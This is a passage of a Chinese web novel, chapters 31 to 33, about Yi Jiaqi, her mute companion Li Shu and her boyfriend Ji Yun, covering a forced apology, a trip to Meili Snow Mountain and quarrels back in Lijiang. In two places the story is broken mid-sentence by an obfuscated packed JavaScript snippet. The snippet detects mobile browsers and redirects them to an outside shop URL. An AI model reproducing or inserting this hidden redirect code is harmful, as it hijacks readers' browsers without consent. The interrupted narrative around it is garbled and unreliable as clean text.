她等着李树点头,可这次,李树的眼睛却看了她很久,这是她第一次在李树脸上,看到类似思虑的过程。 李树这一出整得有点太像人了,差点给她看出恐怖谷。 好在最后李树还是同意了。 恰好这会季昀拿好房卡过来。 易佳期抬手揽住他,语气比之前软和不少,“还生气呢?我知道你受委屈了,这样吧,我让我弟给你道歉。” 多亏了她家的亲戚都不是善茬,她把和稀泥的架势学得十成十。不等季昀说话,她先抽过他手里的房卡,直接略过他做了决定。“家丑不可外扬,咱们去你房间里说。” 说完,她搂着季昀往前走,朝李树示意让他跟着。 季昀脸上有些别扭,察觉李树跟过来,狠狠回头瞪了他一眼,却也没再做出什么过激的举动。 一到房间锁上门,易佳期便叫李树自己往自己脸上扇了一巴掌,季昀梗着脖子,一言不发,只是冷冷盯着李树,易佳期知道,他这是不满意,觉得一巴掌根本不够弥补他的伤害。 她装作看不懂的样子,迟迟没再让李树抽自己第二下,“好了,快给人家诚心诚意道个歉。” 李树答应的事情总会老老实实做完,他的腰已经躬下去,季昀却手一挡,拦住了。 “先别道歉,我还没同意。”季昀慢慢往前走,“有件事,我左思右想,日思夜想,怎么想也想不通,你先回答我,我再考虑别的事。” 李树下意识先看易佳期的眼色。 易佳期朝他耸肩,意思是你随意。 李树点头,你问吧。 季昀咬牙道:“我做过什么伤害你的事情吗?还是我哪里得罪了你?” 李树摇头,你没有。 “那我就想不通了?”季昀面容已经有些扭曲,“我既没有伤害你,又没有得罪你,你为什么要打我?还要弄断我的手指!” 这是一个早在四个月前就该问出的问题。 李树那时会怎么应对他的诘问呢,他会低头会沉默,因为他没办法说,也没有什么想说的。 而现在。 李树漠然地看着他,确定季昀真的要听之后,他拿出笔,大大地圈出来他写的字。 “看你不爽。” 季昀简直不敢相信自己看到了什么。 “你说什么?你再说一遍?!”季昀的声音有点变调。 易佳期抓紧捂住嘴,才没让自己笑出声。 求仁得仁,李树将纸翻面,又写了几个大字,加大加粗,再次用圆圈圈出来。 除此之外,他在特意在每个字的后面都点上顿号,“你、太、装、了。” 简直像个豌豆射手,一个字,一个字的,吐到季昀的脸上。 看清上面的细节之后,易佳期没忍住,无声地笑倒在沙发上。她果然没看错人,这个李树,真她爷爷的会给人添堵啊。 31. 青皮 季昀几乎是一口气没上来,身子狠狠往后一栽。他踉踉跄跄好一会,才堪堪撑住沙发扶手,勉强没失态。 他彻底被这几句话惹毛,连脖子都气红了,偏偏还嘴硬道:“笑死,我的日常罢了,不就是我有你没有,你才拿我的日常当炫耀,你没有的东西多了去了,就你这样的,你看谁都装!” 李树平静地看了他一会,又瞟了眼在后面掩面偷笑的易佳期,最后才拿出一张更大的纸片写下: 「不用美元交班费的人不装。」 「不在语文课上学高等数学的人不装。」 「不在考试之前假装自己打了一晚上游戏的人不装。」 季昀一下被戳中心事,梗着的脖子,被这几句话瞬间噎成天鹅颈。 饶是易佳期,心里也十分震惊。骂人是一门学问,两个人往往越了解,说出来的话才越伤人。 李树当然不了解季昀,真正了解季昀的人是她。 她只是没想到,李树会把她对季昀的咒骂记在心里,还能学以致用,发扬光大。一时间,她还颇有点为人师表的自得。 但纷争还没结束,季昀越想越气,一把上前踉跄着扯住李树的领子。 李树被人跟个小鸡似的提溜着,还不放弃火上浇油,把纸翻了个面,窝到手心里,硬是又写了一句话:假装天才但没考上大学的人最装。 空气安静了几秒,随后房间里扬起一声破防尖叫,“谁说我没考上,我考上了!” 季昀这一嗓子吼得相当不体面,恼羞成怒简直溢于言表。 「那恭喜你。」这次李树没有写字,只比划了下手语。 李树脑子没那么快,写字的时候还能组织一下语言,一打手语,心里那点事就一览无余。 易佳期看在眼里,也都明白,他和季昀无冤无仇,把季昀打成那样心里说不愧疚,那是假的。这下看到季昀还能上大学,祝贺大抵也是真心。 但不是真心话就能让人释然的。 易佳期觉得好笑,如果真让季昀知道他比划的那几下什么意思,季昀绝对以为他在阴阳怪气,指不定会蹦起来打他。 这样看,李树就是有这种本事啊,想气人,根本不用想什么昏招,只要做自己就足够欠揍了。 季昀果然没看懂手语,他见李树刚才做了个拱手的动作,便以为这是在求他,虽然不知道对方为什么突然讨饶,但季昀的脸色还是缓和了几分。 他冷哼道:“真不知道你是怎么长的,心眼这么坏,品行和佳期比真是一个天一个地。” 说完他转头来寻易佳期,见他看过来,易佳期收敛起笑脸,笑话看够了,她双手一拍站起来主持大局。 “不论为什么,打人都是大错特错。从小碍着你的病,你犯什么事家里人都哄着,没好好教养你,把你惯成这样,的确是我们的疏忽。 但你现在也不是小孩了,该知道什么叫责任,什么叫担当了。事已至此,拿出点诚意,赶紧好好给人家道个歉。” 李树认真看着她,思索了片刻,他干脆利落地朝季昀鞠了一躬。 易佳期眉毛一扬,有些意外,她还以为李树会像当时求她时那样,冲季昀行个跪拜大礼呢。 看来这个小哑巴,也不是对每个人都这么豁得出去啊。 易佳期心里闪过几分窃喜,只是她还没来得及琢磨,就倏然消散了。 “好了,那这件事就先这样吧,你俩各退一步,以后要好好相处。” 季昀没想到这场道歉这么敷衍,更没想到,他还没表态,易佳期直接先一步替他原谅了李树,“我还没…” 他话刚一出口,易佳期便攥住了他的手,她一脸无奈:“我知道你心里不舒坦,我也替你生气,但他毕竟是我弟,我是能把他扔了还是撇了,难道你真的想看我在你俩之间左右为难吗?” 季昀一时想不出什么话来反驳,只好任由易佳期把他扯到沙发上,她抱着他哄了一会,季昀一直没松口,她是舌头燥,心里也燥。 这贱人真是蹬鼻子上脸起来没完没了了。 她忍不住转头翻了个白眼,随后语气不佳地冲李树叫唤道:“去,下楼给我买瓶大可乐。” 这么一大会,季昀又叫又跳的,也是口干舌燥。 “喂。”他也像易佳期那样叫住李树,“我要巴黎水。” 李树一副没听懂的表情,眼巴巴盯着他。 季昀嘲讽道:“不知道什么叫巴黎水,就把商店里最贵的矿泉水给我买回来,懂?” 李树还是一动没动。 易佳期抬手揽住季昀的肩膀,笑着说:“他手里就几个钢镚,蹦哒几下都得负债,给你买瓶巴黎水得叫人家扣店里打一天的黑工。” 季昀控制不住流露出些许鄙夷,冷笑着从口袋里掏出一把崭新的钞票,从中间抽出来一张,“给你,不用找了。” 他想,一个正常人,但凡手里攥点面子,都不能在他明晃晃的嘲讽下抽走这张钱。 但他还是太小看李树的脸皮了。刚才还一动不动宛如痴呆的人,一看到钱,也不痴了,也不呆了,大步走过来,一把从他手上把钞票揪走了。 就这样还没完,李树拿到钱,不知道从哪里摸出来一个紫光灯,竟然当着他的面,对着那张百元大钞验起了真假。 季昀气得浑身直抖,别说脸了,估计连脚心都红了。 易佳期尽收眼底,摁着肚子,已经笑到不想笑了。 到后面李树下楼一阵子了,易佳期还在回味他刚才的神操作。 而季昀在沙发上倚着,深呼吸了一会,终于缓过来了,至少不再气得浑身冒汗,但心口还是一阵一阵发堵。 这一整天发生的事情历历在目,不断地在他脑子里来回拉扯。 季昀脑袋很乱,今天有太多的事情不停地冲击他,他没想到李树和易佳期竟然有这层关系,那可是亲姐弟啊。 更没想到,他和李树的恩怨之下,易佳期的天平,竟然隐约倒向了李树。 理智告诉他不要问,有些事情已经发生,问出来除了伤感情,什么都不会改变。但他心里实在太难受了。 他尽量让自己的语气显得平静,“你之前,为什么不告诉我他是你弟。” “至少那件事之后,你应该告诉我。” 易佳期眉毛皱起来,“你这意思是在怪我喽?” 季昀摇头:“我不知道,太突然了,我现在脑子很乱,”他捂着头,“你说的很多话,我都想不通。” “你说他是你弟,但高中三年,班里没有一个人知道这件事,姐弟又不是情侣,我不明白这种事情为什么要保密。” “还有之前报考的事情。” “你天分高,老师们都说,你是咱们县十几年来最有希望冲击清北的学生,我深以为然。但后来,你说你对清北没兴趣,想去上海上学,我也信了,甚至一直到报志愿的前一晚,我们还在聊上海的学校,但录取结果一出,你却去的北大。” 易佳期抱着胳膊:“我听明白了,你是审问完我弟还不过瘾,现在想审问我了?” 季昀有气无力,“我没那个意思….” 易佳期冷眼看着他,面上是被冒犯的不悦,心里却一点也不生气,她本来的目的就是想让季昀不痛快,至于让他不痛快的人是李树,还是她,根本无所谓。 甚至让她亲自上阵,反而能狠狠过把瘾。 “那你什么意思?报考的事你真的想不通?” 她骤然开口反问,“你自己也说了,我是临安这十几年里唯一有能力考去清北的,这种情况下,我大张旗鼓,退而求其次,大家必然会第一时间关注,所有人都会讨论我,并且只讨论我,话题中心的感觉确实挺不错的。” 她冷冷道:“你不应该最能理解我吗?毕竟你一直挺擅长钻营这种事。” 季昀没想到她会这么说,瞬间愣在那里。 三个人两两结怨,散场时,每个人脸上表情都不好看。 季昀在酒店躺了两三天,总算回过来味了,知道自己到底干了一件多大的蠢事。他千不该万不该,把火烧到易佳期身上。他和李树的恩怨,他的不幸,可能再亲近的人都没办法感同身受,即便是他亲妈亲爸,全程知道他多么无辜,复健多么困难,吃了多少苦,被他这一通折腾,现在都有耐心耗尽的迹象,更别说跟他非亲非故,感情甚至还不太稳定的易佳期。 况且,李树对他看法如此极端,两个人手足姐弟,朝夕相处,李树的想法难免会影响易佳期,也难怪易佳期那天气急,会对他口不择言。 冷静过后,他且想通了,五个手指头伸出来还有长短呢,易佳期一时偏袒李树不要紧,反正以后日子还长,他有得是力气和手段,让她的心慢慢朝他偏移。 现在最要紧的,就是赶紧将这姐弟俩隔离,不能再给李树散播他消极形象的机会。 想开之后,他主动给易佳期发了道歉的消息。 然而易佳期一直没有回复,期间她却又在朋友圈连连给别人点赞。 季昀急得直蹬腿。 他是想破头也想不明白,自己怎么就沦落到这种地步呢。一向疼爱他的至亲说翻脸就翻脸,离家出走这么久,也没说来个人和他联系,给他搭个台阶下。两条路几乎堵死一条,他现在可什么都没了,和易佳期双宿双飞几乎是唯一还支撑着他的那口气,要是易佳期也放弃他,那他真就可以挖个坑把自己埋了算了。 他也顾不上什么面子不面子了,易佳期不回复,他便变着花样地消息轰炸。 一直到第二天,易佳期才施施然回复了他。在此之前,季昀发送的最后一条消息,是一家野奢度假酒店的介绍图。 酒店在雾浓顶,从房间里躺着就能望见梅里雪山的全景,最重要的是一晚八千八。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485779|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真会享受。” 随后易佳期又问:“你带你妈你爸这么享受过吗?” 季昀莞尔,早猜到她会这么问。 易佳期一直这么孝顺。无论衣食住行,总会第一时间考虑母父有没有享受过,于是也同样如此督促他。 他如实回复她,说现在和她们冷战着呢,谁先开口谁就输了,以后有机会再说吧。 随后他又表示,今朝有酒今朝醉,他早就想去雾浓顶小住几天,但自己晚上一个人对着山害怕,问她能不能陪他一起去。 易佳期这次回得很快:“那你不早说。” 八千八的房间,季昀住进去显得铺张,因为他档次低,配不上。她住倒是刚刚好。 季昀来找她那天,鹿东刚好也在,易佳期顺势给她介绍:“这是季昀,我老家那男朋友。” 鹿东笑得看不见眼,照例挪揄她了几声,才乐呵呵地和季昀打招呼,“久仰大名啊,今天可算是让我见着真人了。” “哪里哪里,”季昀将商人的油滑腔调学得十足十,“佳期也经常和我提起你们,说您特别照顾她。” 鹿东仰面大笑,捶了易佳期胳膊一拳,“没想到哇,我在你这还能有这么好的口碑?” 易佳期揉了揉胳膊,“你没想到的多了去了。” 有鹿东的地方,就有笑声。季昀本身就是很讨长辈欢心的那一挂,又因易佳期的缘故,有心捧着鹿东,一时间,整个一楼的气氛相当热络。 李树就在这个空当从楼上下来。 季昀的笑容登时有点冷却。人精如鹿东,自然第一时间捕捉到了,她转头就冲易佳期使眼色,易佳期一脸无奈地朝她摊手。 什么情况?鹿东一头雾水,这是小舅子和姐夫不合?她瞥了季昀一眼,刚建立起来的一点好印象瞬间粉碎,她下意识觉得这人不是个省油的灯。 跟个傻子都能玩掰,做人这方面你就品吧。 不过易佳期都不想管,她也没多管闲事到这种地步,但场面不能冷啊,鹿东赶忙把话题引到易佳期身上。 易佳期正在检查行李,包口敞着,鹿东一眼就瞅见了最上层的两个银镯。那俩镯子一大一小,其中一个的尺寸,明显是个童镯。 她挺稀奇:“这镯子得是你小时候的了吧,保存得挺好啊。” “嗯,我小姑送我的。” 鹿东这还是第一次听她提起,她弟弟以外的家人。 易佳期拉开束口袋,里面还有一个银梳和小鼠摆件,她把银镯也扔进去。 季昀语气很熟稔:“是你之前在美国读博的小姑吧。” 鹿东原本还想说就出去玩两三天,这小摆件啥的就不用拿了吧,但一听见美国博士,骨子里对知识分子的崇拜,一下子就把什么都给打败了。 她一脸惊讶:“你小姑读到博士啦,真厉害啊,那个年代读到博士可不容易。” “你和你小姑关系是不是挺好的,我看这镯子都小了还随身带着。” 易佳期很平静:“谈不上关系好不好,她毕业后就留在美国了,这些年和我没多少联系。” 鹿东咂摸了下嘴巴,感叹道:“就你这个学历,以后也指不定在哪呢。” 她还是很眼热,“啧啧,一个北大,一个博士,你家这个基因真是羡慕不来。” 鹿东的例行夸夸时间,季昀却忽然叫了声李树的名字。 “李树,”他故意点出他,“你可千万别多心,鹿东姐她没那个意思。” 李树成日不声不响的,一到和易佳期闹别扭的时候,存在感更是略输空气。从刚一打头,几个人就没有让他加入的意思,他也习惯了像个幽灵一样坐到一边,默默看着。 季昀这一开腔,简直不亚于当众通灵。 连鹿东都没反应过来,“我哪个意思?” 但是个人都能感觉到,他话里有刺。 一直到两个人坐上车远去,鹿东才叫过来李树,一脸深意地下结论道:“你姐这个对象,不太喜欢你啊。” 说这话时,李树还在一个劲的伸着脖子,朝车开走的方向张望。 那模样,别提多可怜了。 鹿东瞬间觉得自己跟那些喜欢吓唬小孩,说“你妈妈爸爸不要你了”的熊亲戚差不了多少。 “哎呀没事,你姐肯定和你感情深啊,真要让她选,她也肯定选你。” 鹿东连忙找补了一通。 她自问自己这一番话绝对没毛病,“疏不离亲,你问谁,都没有为了个小白脸,不要自己手足的道理。” 可没想到,听了她这一番安慰,李树的表情却更加凝重了。 是啊,露水情缘,然而血浓于水,亲人的分量是任再鲜艳的情人,都无法比拟的。 如果他真的是易佳期的弟弟,自然不担心被丢下,可他不是。李树的心里真是不知道该庆幸还是悲凉。 32. 柠檬 驶入梅里雪山的公路上,季昀很兴奋,甚至于有点亢奋。他将酒店的照片来回给易佳期看了许多遍,幻想她们如何在晨光熹微的凌晨,边聊天,边躺在床上看日照金山。 可惜,理想很丰满,现实很骨感。 躺在路边的长椅上,和躺在八千八的酒店里,看到的是同一片天空。即便一连四日,日照金山的观测概率都在60%以上,但两个人还是只能对着遮天蔽日的云层干瞪眼。 瞪着瞪着,两个血气方刚的年轻人便瞪到一张床上去。对于这个年纪的人来说,亲吻和抚摸都是那么令人着迷。 易佳期也长大了,不再想当然认为,接吻只是两个人互相往对方嘴里吐口水。她双手攀着季昀的背,睁着眼睛,吻得是眼前人的唇,吸食的却是眼前人对她的迷恋。 这种感觉,真叫人飘飘然。 连眼前人的脸也开始变得模糊,只剩潮热的喘息在怀。易佳期想,这样的时刻她甚至能分出心去想,只要能给她同样的感觉,怀里的人是谁,是否没什么所谓。 脑子里不受控制地插进来一张木讷的脸,易佳期吓一激灵,身上瞬间冷了一半。 她喘了口气,季昀抱着她翻身,重量压上来的时候,她肚子上仿佛快速被人捅了一棍。 这该死的熟悉的触觉,易佳期心中暗骂一声,随后挪开季昀的热脸,撑着胳膊坐起身来。 季昀一脸茫然,问她怎么了,是不是渴了。 易佳期指着他那个东西,“是被你捅着了。” 不光指,她还特认真的看,季昀哪被人这么研究过,整个人一下就红了,飞快从床边拾了个抱枕,压在那上面。 “我不是故意的,没控制住。”季昀讪讪道。 易佳期忽然很好奇,“你们男生一般什么情况下会这样。” 当然,易佳期对于两性并非一窍不通,相反,她看书杂,记性又好,这让她对什么方面的知识都有涉猎,她兴许比一个真正的男人更了解他们的身体。 但一时兴起也罢,无聊也罢,她确实想从另一个十八岁男孩口中,探听这个问题的答案。 季昀消化了一下她的问题,虽然难为情,但还是搓着脸回答了,“反正,我一靠近你,浑身就热。” 易佳期往他身上扫了一眼。两个人还没起床,季昀穿了套棉质家居服,下身是一条宽松的短裤。刚才这一通打滚,棉质短裤卷上去一截,显得更短。 易佳期期身向前,笑了笑,正当季昀还在琢磨她什么意思的时候,易佳期倏然将手探进他的短裤。 “那这样呢。” 季昀人都傻了,他肉眼可见的,如同草鱼一样,滑溜溜的一哆嗦。 易佳期贪婪地观看着他的表情,不放过一分一毫。 也许她自己都没有察觉到,她在他身上试验,心里却在臆想另一个人的反应。 然而下一秒,季昀却偏离她的预设,扑扇着睫毛,胸有成竹地吻过来。 易佳期登时败了兴致,扇开他的脸,翻身下床。 在那之后,两个人又在雾浓顶逗留了两天,依旧没有豪赌成功,于是在第七日,她们下撤到香格里拉。 但来都来了,没有屁股都没坐热就走的道理,易佳期大手一挥,决定在独克宗古城小住两天。这一住不打紧,两个人白天出去画唐卡,吃藏火锅,晚上跑四方街跳锅庄舞,回程的事情,竟然拖了快一周。 中间易佳期只给鹿东打了个电话,说她没玩够,晚些时候再回去。 鹿东酸了她几句,说她这叫有了赘婿忘了娘,易佳期说你滚,咋什么便宜都占。 鹿东笑哈哈,“忘了忘了,咱俩算平辈。” 易佳期白眼她,白完才意识到她隔着电话看不见,又大声冲她呵呵了两句。 电话的最后,鹿东特地叮嘱她,“有空给你弟也打个电话,别整得跟情郎私奔了似的。” 易佳期不以为意。 到底是李树忍不住先联系她。发的短信,内容挺简短,就一句话,“你去那里了。” 易佳期皱眉,这么自信的语气,李树就算是被人上身了也发不出来。 不过很快,她便将这句话正确的语义破译出来。 “你去哪里了。” 易佳期没忍住扶额,这小文盲。 她恶狠狠回复,“你谁啊,我和我对象出去玩还得给你报备?你不觉得你这个人管得有点宽?” 打完,她检查了一遍,临发出之前,她坏笑着将里头的“人”改成了“入”。 李树这个入果然没发现,还像以往那般慢吞吞回复她。 “你带的衣服不多,不好换洗,我把洗干净的由给你。” 易佳期故意说:“没必要,我穿季昀的就行。” “他带的衣服你们够穿吗。”李树不知道又在操心什么。 易佳期刚想骂他乡巴佬,这些贵死人的酒店都有专人洗衣服务,人家还比你专业呢。 只是她还没有发出去,李树的下一条消息就跟着过来了。 “干净的衣服你先穿,穿脏了再给他穿。” 易佳期确实是这么干的,但是和李树这种人有默契,并不是一件值得骄傲的事情。她嘴硬道:“你以为谁都跟你一样!” 这话其实有两个意思,但估计李树看不明白。 “还有,我在外面玩得很开心,你别老给我发消息,扫兴懂不懂?” 她放下手机,背后立即拥过来一道火热的胸膛,季昀把头埋在她肩上,问她刚才在和谁聊天,笑这么开心。 易佳期往后杵了他一肘子:“别瞎吊扯,你搁我后面,还能看见我笑,你是哪个星球的人啊?” 为了维持形象,季昀硬生生挺下了这一肘子,眼含热泪地强撑着同她调情,“我明明听见音儿了,你笑得特大声。” “老实交代,你是不是背着我有别的小妖精了。” 易佳期正色道:“真没啥,就我弟。” 季昀的脸一下就掉了。 就是这样,易佳期最烦的就是季昀这个吊样,一点事情不如他的意,他就要表现得人尽皆知,就像他高中时鞋子被甩了笔墨,便要所有人在晚自习上,陪他推理,找出凶手。 巨婴。 可以想象到,甚至易佳期自己都认为,季昀所处的环境,才是真正适合人类生长的地方。人类其实很脆弱,摧毁一个人其实不需要两个人抱在一起,撕得对方满身是血。有时候只需要一些冷言冷语、不信任、不看好就够了。 季昀从来没有经受过这些,不需要看人脸色,身边所有人都会在意他的情绪,长到这么大,他似乎从来没有过把话生生往肚子里咽的时刻。 真可笑,这个愚蠢的富二代,就连对着给予他这些光环的母父,都不愿意低头。 易佳期最想摧毁的,就是他这股没受过委屈的劲儿。 但她不是全然否定他的一切。 许多年后,季昀问起她,问她从什么时候,觉得他和别人是有那么一点不同的。 易佳期深情款款地告诉他,说第一次见到你,你就和别人不同,你比别人好看。 其实,不是的,易佳期很早就听说过他,小学的时候吧,几乎所有人都知道,学校里有个季昀,每天都背不同的书包来上学,吃饭要去校长室吃,她们要穿鞋套才能进的微机室,就是他家里捐的。“简直像个王子,而且学习还特别好呢!”她听见班级里有人这样讨论他。 同样,他的喜怒哀乐,在学校里,也拥有和王子相同的效力。不被季昀喜欢的人,同样不被集体接受。直到那次,她当着很多人的面骂了他,她叫他滚开!还要滚远点!吼出口的时候,她便看到了季昀的眼泪,但季昀还是挤出一个笑脸,说你的声音真洪亮。 她就是这样看见他的,在季昀对她委屈求全的一瞬间。 所以,现在的她摆出成熟的姿态,她说:“宝贝,我们该回去了。” 季昀表情明显很不情愿,“不要吧,我刚预约了土司宴,订金都交了,而且我们还没有包车好好在迪庆玩一玩。” “好了,我知道你是不想看到李树,所以这几天,我也一直陪你四处撒欢,散心。但他是我弟,我不可能一辈子不见他,我们也不可能在外面晃一辈子,你都多大了,还像小学生一样搞“和他玩就不能和你玩”这一套。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485780|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季昀没想到他那点小心思,在易佳期那里一览无余,一时间不知道从何反驳,只好小声嘟囔:“就算回去,我也不会给他好脸。” 易佳期笑了,“那随你,你要能气着他也算你的本事。” 季昀算是被她生拉硬拽回丽江。季昀叫的车子先把易佳期送回客栈,到了地方,却没进门就走了。季昀说他还是需要平复一下心情,他怕自己看见李树忍不住发火,在她的朋友面前给她丢人。 易佳期把旅行包甩到肩上,往院里走。 鹿东和李树都不知道她今天回来。前台也没有人,她自己进去翻出房间钥匙。 好巧不巧,上楼梯的时候,李树正好从上面下来。 楼梯是木制的,在客栈最里头,背阳,虽是青天白日大中午,但其实光线挺暗的。 也许越是暗处,光就越容易显形。所以,易佳期瞧见了。李树木然的眼睛,在望进她眼里的那一秒,短暂地焕发出光彩。 点睛之笔,就是这样吧,易佳期分心去想。 「回来了。」李树想了很久,才冲她比划。 “鹿东不在?去哪了?”易佳期没想到,李树对她回来的反应如此平淡,不说跪地迎接,至少也该敲锣打鼓吧。 李树倒是有问就答:「她去灌香肠了,村里。」 他伸手想接她的包,「里面哪些是要洗的。」 易佳期有意想呛他,便说:“忘了,你闻闻呗。” 李树似乎没听出她的暗讽,一脸平静地卸下她身上的背包。好在,这个空当里,易佳期终于瞧出端倪。 李树好像一直在往她身后瞧,如果说刚才还不明显,那接她背包的时候,脖子已经快伸到院门外边去了。 见她发觉,李树只好承认,「季昀没和你一起过来。」 易佳期不说话,等着看李树葫芦里卖的什么药。 李树果然承受不了她沉默的压力,他眼神躲了躲,将衣角攥在手里,又松开。 「我们能谈谈吗?」 易佳期顺势上楼,开门,把外套往地上一扔,随后,才一脸无所谓地问他:“谈什么?季昀?” 李树摇摇头,「谈你。」 易佳期这回是真的有点不懂,她挑眉,指着自己,“我?我?” 我有什么好谈的?易佳期想,你现在不是应该说,要不你和季昀分手吧,我每天和他面对面太尴尬了,只要你能和他分手我什么都愿意做。 就像季昀一直在尝试的那样。 这几天,相似的这些话,她已经从季昀那里听得耳朵都要起茧子了。 李树坚定地点头,「我需要知道你的想法。」 不等她说话,李树便继续往下比划。他很急迫,急迫到让易佳期产生错觉,似乎她离开的这十来天,李树沉默的这十来天,都是在为了这一个问题积蓄勇气。 他问:「季昀的事,你是不是后悔了。」 易佳期最不会后悔的就是这件事,这简直是她生命中的杰作,天知道,她是如何日夜回味、吮含、舔食季昀的失意的。 她只反问:“你为什么会这么想?” 李树不知道怎么说,但还是说了,「之前你不喜欢他,现在谈恋爱,就喜欢他了。”」 易佳期明白他的意思,她顺着他的话讲:“以前的事就别再提了,尤其别在季昀面前提。不管之前什么样,他现在是我男朋友,你也该早点适应。” “我也不要求你对他多好,正常相处就行了。” 易佳期说得很清楚,李树将每个字都好好理解了。可是,可是,一句话堵在他心头,说不出口,咽不下去,抓心挠肝得难受。 他想问她他该怎么和他正常相处,他现在到底是你讨厌的人,还是喜欢的人。 应该是喜欢的人吧。 李树心中苦涩,他想,其实他需要和易佳期谈的,应该是他自己才对。是从什么时候开始,一切都不对了呢。 从前,易佳期的世界,就是他的世界。易佳期喜欢的人,就是他喜欢的人;易佳期讨厌的人,就是他讨厌的人。 可是,为什么现在易佳期的世界变了,他的世界,却独自停下了。 33. 绿火车 嘴上说要好好相处容易,但真要把两个有仇的人硬塞在一起,不起摩擦,不茬架,比让季昀不当装货还难。 李树自然是不用说的,严重的自闭男青年,能独来独往这么多年,对孤独的承受能力可见一斑,只要季昀退一步,不挑刺,二者和平相处,并非完全没有希望。 刚开始的几天,季昀还没放下身段,明晃晃地不给李树好脸看,只要有李树在的场合,他的脸总是拉得比鞋垫子还长。偏偏李树一副看不懂的样子,连鹿东安排他出去采购,他也会照例问季昀需不需要带东西。 虽然每次,季昀都是冷脸不做声响,什么都不要。但只有季昀自己知道,一拳打在棉花上,心里那个憋屈的滋味啊,别提了。 况且,每每他硬撑着面子,最后的结果,只有他对着一桌子美食饿着肚子生闷气,而李树根本没受到任何制裁。他很快就反应过来了,凭什么不要啊?这都是李树该他的,下次李树出门前再来问他,他不仅要吃贵的,狠狠捞,还要把他当佣人使唤。 机会很快就到来,鹿东要煮贵州火锅,菜不够,她像往常一样喊李树去菜场采购,“那边我记得还开了家奶茶店,带几杯你们小孩喝,这次你们几个,谁都不许喝酒了,尤其是你易佳期,爱起哄。” 易佳期才不管,她看见李树要出门,便大声说,“我要三斤鸭舌,五斤小龙虾,一杯金汤力,再来个西瓜。” “还有你上回买的瓜子,话梅味的是吧,也称点儿回来。” 李树拿着小本本记下来。 写完,易佳期检查了一遍,别管字写没写对,反正意思大差不差,她点的东西都在上面,她一脸坏笑将小本子扔回去。 季昀在旁边正襟危坐,耳朵却一直听着她们的动静。直到易佳期点完菜,他才找准时机插进来。 他整了整衣服,轻咳一声,随后抬起下巴道:“我要份六寸蛋糕,动物奶油的,算了,和你说估计你也不懂。你就把你去的店里,最贵的蛋糕买回来,懂?” 但他忘了李树是聋子,听不见,他威风耍了一通,反而是易佳期先伸过头来看他,一脸好奇,季昀连忙收敛起自己的反派面目。 李树就这么藏头露尾,奔着易佳期的视线跟着看过来的时候,恰好完全错过他趾高气昂的威严,季昀连忙又板起脸。 季昀一边装腔,一边心里也没底,心想万一李树故意晾着他,下他面子,那可怎么办?虽然除了易佳期,没人会这么对他,大多数人都喜欢听他说话,还要考虑用什么话题打头,能和他多聊几句。 但大多数人里,显然不包含李树,这哑巴人品低下,阴暗的要死,指定巴不得要他出丑才高兴呢! 还好,李树只是反应了一会,最后还是把他的要求,也按其她人的那样,一笔一划记在了本子上。 季昀不自觉挺了挺腰。 只可惜他一味沉浸在得意里,并没第一时间注意到,刚才还风尘仆仆,一副要早去早回的架势的李树,现在竟然停在了不远处,沉默地巴望着他。 “你看什么?”季昀终于回神过来,不客气道。 李树冲他走过来,比了个数钱的手势,「给钱。」 不等他反应,李树又摆出一副解释的口吻,往纸上写了写了几个字,指了指他,「买东西,没给钱,她们都给我钱。」 季昀的脸,一瞬间从脖子红到头顶。没人和他说过,让李树买东西要付钱啊,而且要付钱的,那之前还一次次跑过来问他想买什么,合着是在揽客呢!还害他以为,以为什么?真是笨死了,谁让你自己想当然的,季昀恼得摔头。 真是太丢脸了,季昀一辈子没在钱上跌过份儿,更重要是,他余光里完全能感觉到易佳期玩味的视线。 季昀最无法承受的就是易佳期时不时流露出的,这种“你也不过如此嘛”的态度,他此刻更不敢对上的就是她深邃的眼神。 他挥金如土、潇洒大方的形象啊。 这一下,他想死的心都有了。 “真搞笑,”季昀彻底怒了:“我会差你这三瓜俩枣,我就是忘了,而且我本来就是打算等你买完,再给你钱的好吧!” 他这一嗓子没收住,连离着大老远的鹿东都伸着脖子看过来,季昀那一瞬间的心情,简直已经不能用丢人来形容了。 偏偏李树什么都没说,只是朝他又走了一步,眼睛盯着他平时装钱的上衣兜子。 或者说,他兴许压根就没注意他在说什么,他一门心思全在俩字上———要钱。 季昀彻底被架住了。他这辈子没受过这种气,头皮火燎燎的,话都快说不出来了。 他深深呼吸了一下,从兜里抓出一把钱,从里头扒拉出张一百的,往李树身上奋力一扔:“给你,给你!行了吧!” 李树蹲下身把钞票捡起来,仔细抚平,随后,像上次那样,掏出个紫光灯,对着钱反复检验。 看见这鬼打墙的一幕,季昀眼前一黑,差点一口气没上来。要不是他年方十八,保不齐他真得怀疑自己在心脑血管方面,有没有什么隐疾。 确认好钱是真的,李树才把钱叠好放进背包的最里层。 谢天谢地,见李树终于要走了,季昀很没出息的松了口气。但还不等他高兴,李树去而复返,面无表情的又回到他面前,问他:「最贵的蛋糕是多少钱。」 他这句话倒真没什么别的含义,他没吃过,也没买过蛋糕,想着季昀给他这么多钱,如果剩下的钱很多,他就能给易佳期买个无籽西瓜。 但话到季昀那里,却生生拐了个弯,变成嘲讽和挑衅:“买最贵的蛋糕,就给这点钱啊?”,在他眼里,可恶的哑巴就是这么说的。 季昀气得咬牙,面目狰狞地往他手上又拍了两百块,大叫道:“够了吧!” 